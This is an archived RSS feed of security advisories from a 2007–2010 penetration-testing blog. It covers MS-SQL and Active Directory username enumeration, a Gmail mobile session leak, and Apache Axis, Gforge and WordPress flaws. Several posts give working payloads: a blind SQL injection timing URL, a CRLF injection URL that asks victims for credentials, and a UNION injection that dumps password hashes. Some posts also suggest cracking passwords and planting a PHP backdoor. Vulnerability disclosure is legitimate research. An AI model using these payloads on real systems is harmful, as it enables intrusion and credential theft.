<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>www.notsosecure.com &#187; Advisories</title>
	<atom:link href="http://www.notsosecure.com/folder2/category/advisories/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<lastBuildDate>Thu, 01 Jul 2010 10:08:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>MS-SQL [2000&amp;2005] User Enumeration Via sp_who</title>
		<link>http://www.notsosecure.com/folder2/2009/02/05/ms-sql-20002005-user-enumeration-via-sp_who/</link>
		<comments>http://www.notsosecure.com/folder2/2009/02/05/ms-sql-20002005-user-enumeration-via-sp_who/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 18:56:43 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=170</guid>
		<description><![CDATA[In SQL server 2005, if you are not &#8217;sa&#8217; you can&#8217;t do much. This is primarily because openrowset is by default not available unless you are privileged. Stored procedure sp_who is available for public(in mssql 2000 and 2005). This procedure &#8220;provides information about current Microsoft® SQL Server™ users and processes&#8221;.
Enumeration:

exec sp_who 'validuser';
returns no records(as you [...]]]></description>
			<content:encoded><![CDATA[<p>In SQL server 2005, if you are not &#8217;sa&#8217; you can&#8217;t do much. This is primarily because openrowset is by default not available unless you are privileged. Stored procedure sp_who is available for public(in mssql 2000 and 2005). This procedure &#8220;provides information about current Microsoft® SQL Server™ users and processes&#8221;.</p>
<p><strong>Enumeration:</strong><br />
<code><br />
exec sp_who 'validuser';</p>
<p>returns no records(as you don't have privileges to see information about other users) but no errors too..:)<br />
-------------------------<br />
exex sp_who 'invaliduser';<br />
returns error:<br />
Msg 15007, Level 16, State 1, Procedure sp_who, Line 59<br />
'invaliduser' is not a valid login or you do not have permission.</code><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Hence, you can enumerate usernames. You can also enumerate Windows users (if mixed mode authentication is enabled) like this:</p>
<p><strong>exec sp_who &#8216;test-system\Administrator&#8217;</strong></p>
<p>and also <em>possibly</em> the domain users, depending upon which domain users are allowed to connect(typically domain admins).</p>
<p>You need to know the valid machine_name/domain_name for this to work. But that&#8217;s not a problem as this can be obtained from the following:</p>
<p>1. <a href="http://xforce.iss.net/xforce/xfdb/8382">IIS NTLM authentication</a>, which discloses machine name and domain name(use <a href="http://labs.portcullis.co.uk/application/hoppy/">hoppy</a>).<br />
2. This can also be obtained from terminal services dialog box.<br />
3. This stored procedure(sp_who) itself returns the hostname.<br />
4. There are other several ways to obtain this.</p>
<p>After you have enumerated users, you know what to do next. Try cracking passwords through other services e.g. RDP, SMB etc.</p>
<p>Through SQL Injections use this poc to enumerate logins(assuming a blind sql injection):-</p>
<p><code>http://127.0.0.1/upload/sqlinjection/?qid=1;BEGIN  TRY exec sp_who 'TEST-SYSTEM\blah' END TRY BEGIN CATCH return END CATCH waitfor delay '00:00:20'--</code></p>
<p>When the username is right, it will wait for 20 seconds.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2009/02/05/ms-sql-20002005-user-enumeration-via-sp_who/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gmail on iphone..notsosecure</title>
		<link>http://www.notsosecure.com/folder2/2008/10/14/gmail-on-iphonenotsosecure/</link>
		<comments>http://www.notsosecure.com/folder2/2008/10/14/gmail-on-iphonenotsosecure/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 17:36:38 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=126</guid>
		<description><![CDATA[f you are concerned about the security of your emails, accessing Gmail from a mobile device may not be a great idea. 
1. A few weeks ago, google introduced a new feature in GMAIL, through which you can force the gmail session to not use HTTP at all, and only talk over HTTPS. This unfortunately [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_132" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.notsosecure.com/folder2/wp-content/uploads/2008/09/burp.jpg"><img src="http://www.notsosecure.com/folder2/wp-content/uploads/2008/09/burp.jpg" alt="burp logs showing http request" title="burp" width="500" height="167" class="size-full wp-image-132" /></a><p class="wp-caption-text">burp logs showing http request</p></div>If you are concerned about the security of your emails, accessing Gmail from a mobile device may not be a great idea. </p>
<p>1. A few weeks ago, google introduced a new feature in GMAIL, through which you can force the gmail session to not use HTTP at all, and only talk over HTTPS. This unfortunately does not apply to google mobile(http://mobile.google.com/) and even though you set your preferences to only use HTTPS, gmail accessed via mobile devices still make requests over HTTP. The HTTP request takes place in the background. The clear text response contains all the session cookies and also a URL over HTTPS.</p>
<p>2. Further to make matter worse, this URL returned over port 80, contains session-id in URL and  is sufficient to access email(attacker does not need your session cookie). Thus, if your mobile device is going through a proxy server, and an attacker manages to access the logs of this proxy server, he will have access to this URL containing session id, and thus its slightly more concerning. Of course, once you log out, this URL will be no longer valid and hence the attack has a time limitation.</p>
<p><strong>Update</strong>: Google has fixed the second issue and don&#8217;t appear to be too keen to fix the first one.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2008/10/14/gmail-on-iphonenotsosecure/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Oracle 10g Express Edition Cookie&#8217;s issue</title>
		<link>http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/</link>
		<comments>http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/#comments</comments>
		<pubDate>Sun, 20 Apr 2008 10:08:35 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/</guid>
		<description><![CDATA[Oracle 10g Express Edition does not invalidate the cookie www_flow_user2 on server when the user logs off.
Tested in version:- Oracle 10g Express edition 10.2.0.1.0, other versions may also be vulnerable.
Patch:- Oracle CPU April 2008 
]]></description>
			<content:encoded><![CDATA[<p>Oracle 10g Express Edition does not invalidate the cookie www_flow_user2 on server when the user logs off.</p>
<p>Tested in version:- Oracle 10g Express edition 10.2.0.1.0, other versions may also be vulnerable.</p>
<p>Patch:- <a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2008.html">Oracle CPU April 2008</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache Axis CRLF And Content Injection</title>
		<link>http://www.notsosecure.com/folder2/2007/11/01/apache-axis-crlf-and-content-injection/</link>
		<comments>http://www.notsosecure.com/folder2/2007/11/01/apache-axis-crlf-and-content-injection/#comments</comments>
		<pubDate>Thu, 01 Nov 2007 19:53:56 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/11/01/apache-axis-crlf-and-content-injection/</guid>
		<description><![CDATA[Version tested:- 1.4
vendor&#39;s website:- http://ws.apache.org/axis/
Details:- The vulnerability reported earlier this year, was later addressed by apache axis group and the error messages in version 1.4&#160; do not leak the document root or any directory structure. However, the error message returned for an non-existing WSDL is vulnerable to CRLF injection and although, it html encodes all [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Version tested</strong>:- 1.4</p>
<p><strong>vendor&#39;s website</strong>:- http://ws.apache.org/axis/</p>
<p><strong>Details</strong>:- The <a href="http://www.securityfocus.com/bid/23687/" target="_blank">vulnerability</a> reported earlier this year, was later addressed by apache axis group and the error messages in version 1.4&nbsp; do not leak the document root or any directory structure. However, the error message returned for an non-existing WSDL is vulnerable to CRLF injection and although, it html encodes all the user&#39;s input, thereby denying any XSS or html injection, content injection is still be possible(a minor issue).</p>
<p><a href="http://victim/axis/tt_pm4l%7D%0d%0a%0d%0a%0d%0a%0d%0a---------------------%0d%0aAn%20Error%20has%20Occured%0d%0a%0d%0aplease%20send%20your%20credentials%20and%20problem%20encountered%20to%20%0d%0ablah@blah.com%0d%0a--------------%0d%0a%0d%0a%0d%0a.jws?wsdl"><strong>Exploit</strong></a>:-http://victim/axis/tt_pm4l%0d%0a%0d%0a%0d%0a%0d</p>
<p>%0a&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;%0d%0aAn%20Error%20has%20Occured</p>
<p>%0d%0a%0d%0aplease%20send%20your%20</p>
<p>credentials%20and%20problem%20encountered%20to%20%0d</p>
<p>%0ablah@blah.com%0d%0a&#8212;&#8212;&#8212;&#8212;&#8211;%0d%0a%0d%0a%0d</p>
<p>%0a.jws?wsdl</p>
<p><strong>Output</strong>:-</p>
<p> AXIS error</p>
<p> Sorry, something seems to have gone wrong&#8230; here are the details:</p>
<p> Fault &#8211; ; nested exception is:</p>
<p> java.io.FileNotFoundException: /tt_pm4l</p>
<p> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p> &nbsp;An Error has Occured</p>
<p> please send your credentials and problem encountered to</p>
<p> blah@blah.com</p>
<p> &#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p> .jws</p>
<p> &nbsp;AxisFault</p>
<p> &#8230;</p>
<p> ..<br /> &nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/11/01/apache-axis-crlf-and-content-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gforge SQL Injection</title>
		<link>http://www.notsosecure.com/folder2/2007/09/13/gforge-sql-injection/</link>
		<comments>http://www.notsosecure.com/folder2/2007/09/13/gforge-sql-injection/#comments</comments>
		<pubDate>Thu, 13 Sep 2007 15:03:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/09/13/gforge-sql-injection/</guid>
		<description><![CDATA[Original Advisory: http://www.portcullis-security.com/179.php&#160;
The file /www/people/editprofile.php seems to be vulnerable to sql injection at multiple points.
 The exploit is fairly easy, one post request returns all the usernames and hashes from the backend database.
The hashes can then be cracked using john-the-ripper.
Exploit:-
 POST request to:/www/people/editprofile.php
 skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name&#124;&#124;unix_pw+
from+users&#8211;%3d1&#38;MultiDelete=Delete 
 works against postgres database  .
Refer to the paper for [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Original Advisory</strong>: <a href="http://www.portcullis-security.com/179.php" target="_blank">http://www.portcullis-security.com/179.php</a>&nbsp;</p>
<p>The file /www/people/editprofile.php seems to be vulnerable to sql injection at multiple points.</p>
<p> The exploit is fairly easy, one post request returns all the usernames and hashes from the backend database.</p>
<p>The hashes can then be cracked using john-the-ripper.</p>
<p><strong>Exploit</strong>:-</p>
<p> POST request to:/www/people/editprofile.php</p>
<p> skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+</p>
<p>from+users&#8211;%3d1&amp;MultiDelete=Delete </p>
<p> works against postgres database <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Refer to the <a href="http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt" target="_blank">paper</a> for exploiting sql injections against postgres database.&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/09/13/gforge-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Undisclosed Wordpress 2.0 Security Issues</title>
		<link>http://www.notsosecure.com/folder2/2007/06/05/undisclosed-wordpress-20-security-issues/</link>
		<comments>http://www.notsosecure.com/folder2/2007/06/05/undisclosed-wordpress-20-security-issues/#comments</comments>
		<pubDate>Tue, 05 Jun 2007 14:21:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/06/05/undisclosed-wordpress-20-security-issues/</guid>
		<description><![CDATA[I recently came across this security advisory and decided to find out what the undisclosed issues could be. I downloaded wordpress 2.0 to find these undisclosed issues. Why i am interested in wordpress 2.0 is a different story though. 
It was trivial to figure out that this version has no protection against CSRF attacks. the [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across this <a href="http://secunia.com/advisories/21309/">security advisory</a> and decided to find out what the undisclosed issues could be. I downloaded <a href="http://wordpress.org/wordpress-2.0.tar.gz">wordpress 2.0</a> to find these undisclosed issues. Why i am interested in wordpress 2.0 is a different story though. <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
It was trivial to figure out that this version has no protection against CSRF attacks. the file wp-admin/options-reading.php has a parameter posts_per_rss that seems to have been left unsanitized. It is possible to make an admin submit (via csrf) a malicious value of this paramter which will eventually result in a database error. However, the injections seems really difficult to exploit. </p>
<p>example:-http://192.168.1.183:80/apache2-default/wordpress/?feed=rss2</p>
<blockquote><p>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1]<br />
			<code> SELECT DISTINCT * FROM wp_posts  WHERE 1=1 AND post_date_gmt <= '2007-01-08 04:12:59' AND (post_status = "publish") AND post_status != "attachment" GROUP BY  wp_posts.ID  ORDER BY post_date DESC LIMIT 0, 10'</code></p>
</blockquote>
<p>As the injection point is after Limit and because of the Order By clause, i think it is not exploitable.<br />
If you think it is indeed exploitable drop me an email now...</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/06/05/undisclosed-wordpress-20-security-issues/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Logon Time Restrictions in a Domain in Windows Server 2003 allows Username Enumeration.</title>
		<link>http://www.notsosecure.com/folder2/2007/05/27/logon-time-restrictions-in-a-domain-in-windows-server-2003-allows-username-enumeration/</link>
		<comments>http://www.notsosecure.com/folder2/2007/05/27/logon-time-restrictions-in-a-domain-in-windows-server-2003-allows-username-enumeration/#comments</comments>
		<pubDate>Sun, 27 May 2007 09:29:42 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/05/27/logon-time-restrictions-in-a-domain-in-windows-server-2003-allows-username-enumeration/</guid>
		<description><![CDATA[Windows Server 2003 can be configured  to restrict the hours and days that a user may log on to a Windows Server 2003 domain.  This could lead to username enumeration.
Issue:- Microsoft Windows Active Directory Username Enumeration
Criticality:- Less Critical
Impact:- Exposure of system information
Description:- It has been identified that the Microsoft windows Active
Directory contains a [...]]]></description>
			<content:encoded><![CDATA[<p>Windows Server 2003 can be <a href="http://support.microsoft.com/kb/816666">configured </a> to restrict the hours and days that a user may log on to a Windows Server 2003 domain.  This could lead to username enumeration.</p>
<p><strong>Issue</strong>:- Microsoft Windows Active Directory Username Enumeration</p>
<p><strong>Criticality</strong>:- Less Critical</p>
<p><strong>Impact</strong>:- Exposure of system information</p>
<p><strong>Description</strong>:- It has been identified that the Microsoft windows Active<br />
Directory contains a flaw that may lead to an unauthorized information<br />
disclosure. The issue is triggered when the Windows Domain Controller<br />
returns different error messages depending on if a valid username was<br />
supplied via windows terminal services.  This only happens for the<br />
user accounts that have time restrictions set and when these accounts<br />
are accessed during restricted time. This can be exploited to help<br />
enumerate valid usernames resulting in a loss of confidentiality.</p>
<p><strong>Vendors response</strong>:-<br />
&#8220;We will NOT be issuing a security update for this issue.<br />
It is likely that in a next version or service pack of the product we may consider making changes, but not before then&#8221;.</p>
<p><strong>Screenshots:</strong><br />1. <a href='http://www.notsosecure.com/folder2/2007/05/27/logon-time-restrictions-in-a-domain-in-windows-server-2003-allows-username-enumeration/error-returned-when-account-is-accessed-at-restricted-time/' rel='attachment wp-att-87' title='Error returned When Account is Accessed at Restricted time'>Error returned When Account is Accessed at Restricted time</a><br />
2. <a href='http://www.notsosecure.com/folder2/wp-content/uploads/2007/05/error-when-account-is-accessed-at-permitted-time.PNG' title='Error returned When Account is Accessed at Permitted time'>Error returned When Account is Accessed at Permitted time</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/05/27/logon-time-restrictions-in-a-domain-in-windows-server-2003-allows-username-enumeration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress 2.1.2 xmlrpc Security Issues</title>
		<link>http://www.notsosecure.com/folder2/2007/04/03/wordpress-212-xmlrpc-security-issues/</link>
		<comments>http://www.notsosecure.com/folder2/2007/04/03/wordpress-212-xmlrpc-security-issues/#comments</comments>
		<pubDate>Tue, 03 Apr 2007 18:17:07 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/04/03/wordpress-212-xmlrpc-security-issues/</guid>
		<description><![CDATA[Wordpress 2.1.2 xmlrpc Multiple Vulnerabilities:
Affected Versions: These issues were reported in version 2.1.2,(current stable version) and its very likely that previous versions may also be vulnerable.
1. Privilidge Escalation:
Under normal circumstances (through web interface) a user in contributor role only has access to following functions:
a. read
b. edit_posts
functionality &#8216;publish_posts&#8217; is restricted to users in the author, editor [...]]]></description>
			<content:encoded><![CDATA[<p>Wordpress 2.1.2 xmlrpc Multiple Vulnerabilities:</p>
<p><strong>Affected Versions</strong>: These issues were reported in version 2.1.2,(current stable version) and its very likely that previous versions may also be vulnerable.</p>
<p>1.<strong> Privilidge Escalation</strong>:</p>
<p>Under normal circumstances (through web interface) a user in contributor role only has access to following functions:</p>
<p>a. read<br />
b. edit_posts</p>
<p>functionality &#8216;publish_posts&#8217; is restricted to users in the author, editor or administrator roles. However, this is not implemented in xmlrpc.php and this allows a user in the contributor roles to  publish a previously saved post to the website.</p>
<p>No exploit code is required.</p>
<p>2. <strong>SQL Injection</strong>:</p>
<p>This is only exploitable by authenticated users.<br />
The post_id parameter is not properly sanitized before passing its value to the backend database which results in a Sql injection. Exploiting this is pretty trivial. As, it is an integer based injection, it works irrespective of the setting &#8220;magic quote&#8221;. . I wrote a Simple Proof Of Concept for this.<br />
<a href="http://www.notsosecure.com/folder2/wp-content/uploads/2007/04/wp-xmlrpc-sql.pl">Download Exploit</a><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<img src="http://www.notsosecure.com/folder2/wp-content/uploads/2007/04/picture.PNG" alt="Exploit" height="170" width="530"/><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Successful Exploitation</strong> of this will give you usernames and md5 hash of password of all users including admin user. Before you run mdcrack on this hash, read my <a href="http://www.notsosecure.com/folder2/2007/03/15/word-press/">previous post</a> on wordpress cookies as this will save your time.<br />
Once you have the admin user hash needless to say you can create a php backdoor and that essentialy is game over. </p>
<p><strong>About Poc</strong>:<br />
The poc demonstrates how critical SQL injection vulnerabilities can be. In this example,the poc goes beyond obtaining admin hashes. It also returns the username and encrypted password of the mysql user(s). If the database is running as privilidged user, this will also try to fetch the /etc/passwd file, or any other file for that matter. As this injection is in an integer field it works irrespective of the setting <em>magic quote</em> <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  </p>
<p><strong>Workaround</strong>:<br />
1. Disable xmlrpc if you dont use it or restrict its access to trusted users only.</p>
<p><strong>Vendor&#8217;s response:</strong><br />
1. vendor notified on 22nd March 2007.<br />
2. New Version released on 2nd April 2007.<br />
3. Advisory released on 2nd April 2007</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/04/03/wordpress-212-xmlrpc-security-issues/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
